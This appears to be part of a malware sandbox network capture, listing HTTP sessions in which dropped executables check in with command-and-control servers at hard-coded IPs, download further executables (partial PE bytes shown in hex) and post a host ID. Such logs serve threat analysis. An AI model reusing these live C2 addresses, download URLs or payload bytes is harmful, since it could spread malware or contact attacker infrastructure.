Nov 29, 2024 19:50:45.832053900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:45.950843096 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:45.950864077 CET	896	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:45.950875044 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:45.950887918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:45.950900078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: uB:j4f%%y&3\|(z/";Ea#B%YZSoh<5B5qF0
Nov 29, 2024 19:50:45.950906038 CET	1236	IN	Data Raw: bf 1c cd d7 81 b2 a3 c8 58 12 22 17 81 b6 06 40 bd e4 86 11 fe 7c 5a 1b c7 d6 00 9b 6a d6 86 10 80 4b 13 18 a2 5d 30 bc 7a e3 e2 00 c4 87 07 31 c2 ef fb fd 85 85 31 10 64 d4 5f 15 2d f4 32 1c e6 88 20 f4 56 b4 d2 2b 66 0f 75 23 a3 35 a7 0b a4 bc Data Ascii: X"@\|ZjK]0z11d_-2 V+fu#51;m"5a\OZ.E.5x=\|!]Wl!9%4f>7pKB!A.4rmSDJ(m&a\|9@F`&@qAO8T{@i\|Gb
Nov 29, 2024 19:50:45.950916052 CET	96	IN	Data Raw: 30 82 53 f9 2a a5 09 02 3d 55 d8 3b 1b 8f de 50 35 7f 05 98 98 97 5c 09 d9 79 24 3f 39 ae 13 38 26 e2 42 5a 27 dc 8d a0 42 47 03 49 23 f5 e2 c7 37 7e 01 87 0e 45 0b 72 02 0e ce 24 48 de d6 d9 c9 96 f6 89 36 6f e7 3b 78 e5 ec c6 18 3c 05 3a 94 5d Data Ascii: 0S*=U;P5\y$?98&BZ'BGI#7~Er$H6o;x<:]l;W?TQW
Nov 29, 2024 19:50:45.960570097 CET	1236	IN	Data Raw: 45 10 f3 02 99 98 6d f7 d5 df 4d 6b 1c 80 8e 00 7e 67 df aa 1a 61 bd 00 80 67 e7 1a 12 29 d2 61 7e 9d ef 34 8e 88 b3 13 f1 06 81 37 e4 54 20 14 26 09 94 a1 24 eb 78 14 0b 75 d0 7f 72 3e 41 49 52 c1 e6 79 93 94 76 34 57 86 17 29 fa de e7 80 4d 7b Data Ascii: EmMk~gag)a~47T &$xur>AIRyv4W)M{@,cHo0>C+T<?V{{L2@"jXK7U`B4$T${XLgX42'B.eKH[y<"(.L)2Dn"Tk*,6^#Upt266C]Hi`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49957	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:50:45.154823065 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 33 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010356001&unit=246122658369
Nov 29, 2024 19:50:46.489263058 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:50:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49962	31.41.244.11	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:50:46.615839958 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 29, 2024 19:50:48.048688889 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:50:47 GMT Content-Type: application/octet-stream Content-Length: 4450816 Last-Modified: Fri, 29 Nov 2024 18:13:29 GMT Connection: keep-alive ETag: "674a0449-43ea00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 65 49 49 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4a 4f 00 00 d8 78 00 00 32 00 00 00 60 ca 00 00 10 00 00 00 60 4f 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 ca 00 00 04 00 00 9f b6 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 30 76 00 73 00 00 00 00 20 76 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 3e ca 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 3e ca 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELeIIg(JOx2``O@D@ _0vs v>> v<(@.rsrc vL(@.idata 0vN(@ 8@vP(@utmcruzdrR(@bpfvcxoiPC@.taggant0`"C@
Nov 29, 2024 19:50:48.048856020 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:48.048867941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:48.048896074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:48.048909903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:50:48.048937082 CET	1236	IN	Data Raw: 74 5d b2 62 23 9a 44 3d bb d0 a1 ce 26 a8 4e d6 40 36 fa 05 7b 4c 70 57 69 95 11 22 58 50 b8 02 86 a8 a9 9e e0 09 c8 4a ef 01 19 fa db 6f c1 d3 75 df 78 5e d8 34 34 14 8e d8 40 b9 57 0c 39 6c 33 f3 8a 0e e8 a3 28 fb f6 77 ca 1c 9c 32 b1 9b 49 d5 Data Ascii: t]b#D=&N@6{LpWi"XPJoux^44@W9l3(w2I0srs"CC8HdJy&\KLGp5P/o/R}zgBhs2hBlvSs?H,X@P3Cl,6["/#5\|Y
Nov 29, 2024 19:50:48.049040079 CET	1236	IN	Data Raw: 03 d7 2b 68 1f 50 44 47 d7 ca 82 d9 bb d8 b3 d1 26 c0 49 ce 7b f2 06 51 e8 cb c3 72 5b 04 10 64 16 84 1b 8b ea 02 f4 06 65 e2 e3 d6 e4 58 da 4d d0 08 98 35 74 06 7a 61 c4 33 76 87 1a c1 43 18 77 c0 33 9c 7d 34 04 ec 8a 50 8a d7 86 b4 4a 77 e3 e3 Data Ascii: +hPDG&I{Qr[deXM5tza3vCw3}4PJwV3vgr&-EG=-~c9e W[u_>-.8Xew+ef1B/ZrS4@;s1o.C(@=8Z79brA(dLPIu(\l%Ayu
Nov 29, 2024 19:50:48.049052954 CET	1120	IN	Data Raw: 59 15 78 dd 9f 77 60 63 18 ef 43 4b f9 71 97 3e e7 a8 03 57 57 4c 55 a3 0e bb c5 0f 7b de b8 d9 c2 51 5e 39 c4 f2 9d 29 04 6a 5c a1 7e cd 28 e9 1c 60 80 7d bf 52 44 bb de cb 36 e3 93 e8 d2 27 c4 36 06 c9 e3 23 33 90 cd e0 ff 98 43 ee ef c8 2f 84 Data Ascii: Yxw`cCKq>WWLU{Q^9)j\~(`}RD6'6#3C/HweH]yLc*=Y`J\|CVv,[jOM?6(%E#WxO:CTpb_2o7W-<E`.p}^ZFZDEL&bhY:eTMm>F4VS_oD[
Nov 29, 2024 19:50:48.049066067 CET	1236	IN	Data Raw: 92 d9 5f ac ac eb 18 fd 41 d0 d3 4c e2 49 04 c3 e1 f7 69 77 e8 40 24 b3 69 66 44 6c ec d1 18 3b cd 33 9e 96 93 2c 4a 7b 07 d2 10 4b 9e b1 45 7a 6a 02 47 27 61 b0 8b 83 b9 e9 e2 c3 4a 68 3d 57 c6 47 cc dd 95 e1 c4 e8 de 12 bd 69 e4 4c 85 b5 31 cb Data Ascii: _ALIiw@$ifDl;3,J{KEzjG'aJh=WGiL1osfEYY{cGgooGrWB\oVK[Z!{C^m/VO5YJPHCBr u)Uhh\ +la
Nov 29, 2024 19:50:48.049079895 CET	1236	IN	Data Raw: 15 5b 7e 81 40 ff 2d 75 00 34 30 b6 f3 03 48 4d 00 44 e6 5c 32 02 3a 52 d7 ae ad d8 f9 ff c6 7b 6d c5 30 33 77 02 e4 52 52 e9 6e 63 fb f5 0f 88 fe da 57 77 7e fb b3 00 67 3d e0 9c 0e 7d 74 59 e1 2b 55 2b 1d 84 20 af fb 09 0e de ce e7 53 30 07 fd Data Ascii: [~@-u40HMD\2:R{m03wRRncWw~g=}tY+U+ S08qQZ2%-N@^64DryUz}Fe]I+>WWH-KKyABxWWS-6.'?J&*x"UE# ]\KB@Zu{Ep{
Nov 29, 2024 19:50:48.168896914 CET	1236	IN	Data Raw: 07 a1 6c 12 f4 df 13 5e cb 61 cb e3 f4 db 1d 6a 6e e0 2c 08 1d 6a 70 a7 18 45 6c 43 f4 0f 0d e3 0d f6 16 96 5a a5 e1 09 bc 60 29 e3 be 99 f9 60 6e 63 0f f6 a7 d0 7b 80 83 a7 42 ae db 5a b2 76 6b e7 8d 22 4c f0 6c ae 9b c9 7d db 6e 7b f4 fe 3b 7f Data Ascii: l^ajn,jpElCZ`)`nc{BZvk"Ll}n{;EgJ\|.-HiCjO"jv#^X:p9M\|WR:^@!?<(G}nNf]7OY[LyHR'*uYW,Ea&FZ3J6?)qZ&T4$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49965	34.107.221.82	80	7260	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:50:46.928318024 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:50:48.059357882 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 04:38:26 GMT Age: 51141 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 29, 2024 19:50:48.390738964 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:50:48.714993954 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 04:38:26 GMT Age: 51142 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49975	185.215.113.206	80	2108	C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:50:48.037503958 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:50:49.420890093 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 29, 2024 19:50:49.423873901 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCBKFBGIIIECAAAKFC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 45 44 42 38 38 39 42 33 39 32 34 31 37 39 35 33 37 33 33 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 2d 2d 0d 0a Data Ascii: ------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="hwid"57EDB889B3924179537338------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="build"drum------CBGCBKFBGIIIECAAAKFC--
Nov 29, 2024 19:50:49.872661114 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50000	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:50:58.523768902 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 33 35 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010357001&unit=246122658369
Nov 29, 2024 19:50:59.916275024 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:50:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50006	31.41.244.11	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:00.043128967 CET	62	OUT	GET /files/unique2/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 29, 2024 19:51:01.428530931 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:51:01 GMT Content-Type: application/octet-stream Content-Length: 1998848 Last-Modified: Fri, 29 Nov 2024 18:30:35 GMT Connection: keep-alive ETag: "674a084b-1e8000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 d9 52 43 b2 b8 3c 10 b2 b8 3c 10 b2 b8 3c 10 ac ea b8 10 ac b8 3c 10 ac ea a9 10 ad b8 3c 10 ac ea bf 10 cd b8 3c 10 95 7e 47 10 b1 b8 3c 10 b2 b8 3d 10 33 b8 3c 10 ac ea b6 10 b3 b8 3c 10 ac ea a8 10 b3 b8 3c 10 ac ea ad 10 b3 b8 3c 10 52 69 63 68 b2 b8 3c 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 18 5b c6 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 7c 05 00 00 ec 00 00 00 00 00 00 00 20 4b 00 00 10 00 00 00 90 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 4b 00 00 04 00 00 23 a2 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$RC<<<<<<~G<=3<<<<Rich<PEL[d\| K@PK#[o`4J P@.rsrc4`<@.idata @ )@egpglfrh`0Z@zosqaizpKX@.taggant0 K"^@
Nov 29, 2024 19:51:01.428580999 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:51:01.428594112 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:51:01.428751945 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:51:01.428764105 CET	1236	IN	Data Raw: c0 3c 2a 75 b7 50 87 91 b7 e7 6a 3c e3 02 04 88 08 47 85 b0 03 89 03 71 f4 5b 69 43 d7 61 62 1c 63 bc 17 14 26 54 d0 45 e3 a4 96 fe ae bc 74 27 e7 74 c9 a5 0d 32 b0 0e 32 53 9d b1 5a a1 81 47 63 f0 c1 2e 0d 2b b5 f8 4a 12 bd 05 15 97 ad f8 a7 d8 Data Ascii: <uPj<Gq[iCabc&TEt't22SZGc.+JL>gN;Qj~f8c (6/1TF{Mf,6IpW+SO5$u%c:K=>w<e<hAfj?3{YU%UV_WD
Nov 29, 2024 19:51:01.428952932 CET	1236	IN	Data Raw: 8b b4 0f da 70 e5 02 86 d4 8f 56 07 fd bb 3b 43 8a b3 24 a5 0a 2d 17 21 d0 3d b5 21 fa 07 d9 a5 06 5b 75 ed 5f eb 7f a2 c1 0c 7f 2e fe 0b 87 5d a0 73 b2 89 33 a7 b1 15 5c a1 7e 2f d6 5b 4e 40 67 32 75 5c 4e 0e 4c 32 ac ac 52 8b 0e a3 c8 15 f6 39 Data Ascii: pV;C$-!=![u_.]s3\~/[N@g2u\NL2R9,U%FDcGA~d4w$!)Y#ySSAUN5SW>~3372u~=OR9JO**c%2@AXj2?s
Nov 29, 2024 19:51:01.428965092 CET	1236	IN	Data Raw: cf 0f 6e 2b c6 57 aa 95 40 6b 92 0a 39 f3 4e a8 d5 ef 76 5c 2d 1a 5a e9 92 75 8d 48 fe 73 7e c4 f5 e8 48 34 ad d0 ff a3 d4 2a fd 68 63 73 b4 98 16 ab 63 80 52 db aa c0 2e 1c e9 f8 12 33 7f 60 a6 63 97 8b f3 f6 53 d0 22 12 8d ae 86 8a 5f b3 db b3 Data Ascii: n+W@k9Nv\-ZuHs~H4*hcscR.3`cS"_d,ot$"022CGGACJc{7G&L3xfNa/68,#BL5wx\Y oirwa1OsBF~
Nov 29, 2024 19:51:01.428977013 CET	1236	IN	Data Raw: 04 b3 0b 39 c2 80 41 1b 98 3f 57 95 42 83 7e a0 03 b3 d7 b0 57 7c 86 6a 3e 5d 37 0b ce 0b d2 40 3c 57 75 19 a0 00 3f ce db a4 b6 8c 9a d3 d5 4d c4 48 45 e4 d3 44 64 8a ce 93 f0 28 13 73 a7 4c c0 6c 83 c6 40 9e 6f c0 d6 8b 0e e6 13 33 c1 c6 c2 96 Data Ascii: 9A?WB~W\|j>]7@<Wu?MHEDd(sLl@o3}h[bYsw6sAGzxd%v(dL7yrp@)JK.K3tlaA^Rc5?;7BGArV;
Nov 29, 2024 19:51:01.428987026 CET	1236	IN	Data Raw: 57 af 7d a5 d1 a3 74 04 b6 f3 d8 81 ae 43 b7 40 47 64 59 bb 05 d0 8f bf 9a 0e 2e dc 04 cb d7 b4 53 92 0f 56 a7 8f 46 22 87 72 8d 45 09 7d 0a 4f b6 43 84 f5 39 6a 89 24 13 ab a2 e4 08 b4 ed 2e a6 2d 75 4e df ce 17 5d f7 7b b1 90 28 37 62 6f d8 68 Data Ascii: W}tC@GdY.SVF"rE}OC9j$.-uN]{(7boh&st[&ebWjHt:Rkt'hG=}3x259{VR8wUAL`XRdUk_Yl[k6$~2Xwr5+y!/,.721
Nov 29, 2024 19:51:01.429137945 CET	1236	IN	Data Raw: 97 f2 0f 23 fd b8 ac 24 62 be 79 ff 0a 27 97 8d 99 cf 84 cd df 68 29 83 0f 76 f0 c8 e7 32 70 ad 76 b4 49 05 37 ed ef 78 24 b4 a3 38 0d 4d cf e1 58 ff 66 47 6b 08 9b 5d b9 63 a5 cc c7 38 27 5e e0 43 f8 74 48 aa 17 ed f9 d3 38 8b 7e 28 37 91 fd 35 Data Ascii: #$by'h)v2pvI7x$8MXfGk]c8'^CtH8~(75>W?a#<UFT@ickjY;;iM<tmz>2LvF^&,A.Bh{^{NIy9e?!P[[V.}_#_\)=tGTMmMud+9DFbB+
Nov 29, 2024 19:51:01.549155951 CET	1236	IN	Data Raw: 7d b6 1e 8c 0d 15 7d 42 04 17 0a 8e 10 1b 9f 6c 3a 6f 75 54 27 3f cd 2c dc b1 48 78 18 6b 75 54 c7 fb fe 1e 9d 7c 94 47 79 a0 ad df c6 90 02 95 28 a3 fc f2 27 52 99 b4 e6 98 ae dc a8 f4 8c 18 40 b9 da 95 91 d1 b0 4b e4 9a d6 7a e8 2a 61 c1 91 b2 Data Ascii: }}Bl:ouT'?,HxkuT\|Gy('R@KzaN\|5/G}jF[haw[+82b%ew{.@\|,856FqnN@G1'Fz9q&VI~yY2*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50026	185.215.113.16	80	6972	C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:05.297856092 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 29, 2024 19:51:06.362658978 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:51:06 GMT Content-Type: application/octet-stream Content-Length: 2799616 Last-Modified: Fri, 29 Nov 2024 18:37:00 GMT Connection: keep-alive ETag: "674a09cc-2ab800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 15 07 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `++`Ui` @ @.rsrc`2@.idata 8@ltedtzog`X:@bxhrajpy +@.taggant@ +"@
